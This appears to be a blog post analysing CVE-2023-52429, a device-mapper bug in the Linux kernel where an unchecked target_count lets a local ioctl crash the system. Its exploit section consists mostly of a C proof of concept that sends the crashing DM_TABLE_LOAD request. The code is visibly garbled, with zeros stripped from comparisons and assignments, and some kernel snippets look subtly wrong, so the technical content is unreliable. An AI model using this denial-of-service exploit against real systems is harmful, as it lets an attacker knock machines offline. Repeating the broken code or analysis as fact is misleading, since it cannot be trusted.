If you've been following the Linux kernel development, you might have come across CVE-2023-52429, a critical vulnerability that affects the Linux kernel through version 6.7.4. In this post, we'll dive deep into this vulnerability, its impact, and ways to exploit it. We'll also share some useful code snippets, and links to the original references for further exploration.

Background

CVE-2023-52429 is a security vulnerability that exists in the dm_table_create() function, which is defined in drivers/md/dm-table.c in the Linux kernel. This function attempts to allocate more than INT_MAX bytes in the alloc_targets() function. The absence of a check for struct dm_ioctl.target_count causes the system to crash. The function has a crucial role in creating and maintaining device-mapper tables, which are essential for organizing the storage of Linux systems.

Technical Details

The vulnerable code is in the alloc_targets() function in the drivers/md/dm-table.c file. This function attempts to allocate memory for the device-mapper's targets:

static struct dm_target *alloc_targets(unsigned int num)
{
	return kzalloc(array_size(num + 1, sizeof(struct dm_target)),
		       GFP_KERNEL);
}

The issue arises when num is a large value, causing an integer overflow. Subsequently, the function tries to allocate more than INT_MAX bytes, resulting in the crash. This allocation happens in the dm_table_create() function:

int dm_table_create(struct dm_table **result, fmode_t mode,
		    unsigned num_targets, struct mapped_device *md)
{
	...
	t = alloc_targets(num_targets);
	if (!t) {
		kfree(t);
		return -ENOMEM;
	}
	...
}

The missing check for struct dm_ioctl.target_count is the root cause of this vulnerability

if (num_targets >= TARGET_COUNT_MAX) {
	kfree(t);
	return -EINVAL;
}

The absence of this check allows an attacker to exploit the vulnerability by sending a specially crafted IOCTL request to create a device-mapper table with a large target count, causing the kernel to crash and potentially allowing for further exploitation.

Exploit Details

An attacker can exploit this vulnerability by crafting a malicious IOCTL request aimed at the device-mapper subsystem. The request must contain a large value for target_count that can cause an integer overflow when it's being processed in the alloc_targets() function.

Here's an example of how the exploit code might look like

#include <fcntl.h>
#include <linux/dm-ioctl.h>
#include <linux/fs.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
	int fd = open("/dev/mapper/control", O_RDWR | O_LARGEFILE);
	
	if (fd < ) {
		perror("Failed to open device-mapper control");
		return 1;
	}
	
	struct dm_ioctl *dm_ioctl;
	dm_ioctl = malloc(sizeof(struct dm_ioctl));
	
	// Set up the malicious request
	dm_ioctl->flags = ;
	dm_ioctl->version[] = ;
	dm_ioctl->version[1] = ;
	dm_ioctl->version[2] = ;
	dm_ioctl->data_start = sizeof(struct dm_ioctl);
	dm_ioctl->data_size = SIZE_MAX;
	dm_ioctl->target_count = (unsigned int)-2; // large enough to cause integer overflow
	
	int ret = ioctl(fd, DM_TABLE_LOAD_CMD, dm_ioctl);
	
	if (ret < ) {
		perror("Failed to load the device-mapper table");
		return 1;
	}
	
	close(fd);
	return ;
}

Original references

1. NVD - CVE-2023-52429 Detail
2. Exploit Database - CVE-2023-52429
3. GitHub Commit Fixing the Vulnerability

Conclusion

In this post, we provided an in-depth analysis of the critical vulnerability CVE-2023-52429, which affects the Linux kernel through version 6.7.4. We covered the technical details, explained how the exploit works, shared code snippets, and provided links to original references. If you're responsible for maintaining Linux systems, ensure you have patched this vulnerability to protect your infrastructure from potential attacks.

Timeline

Published on: 02/12/2024 03:15:32 UTC
Last modified on: 02/26/2024 21:15:57 UTC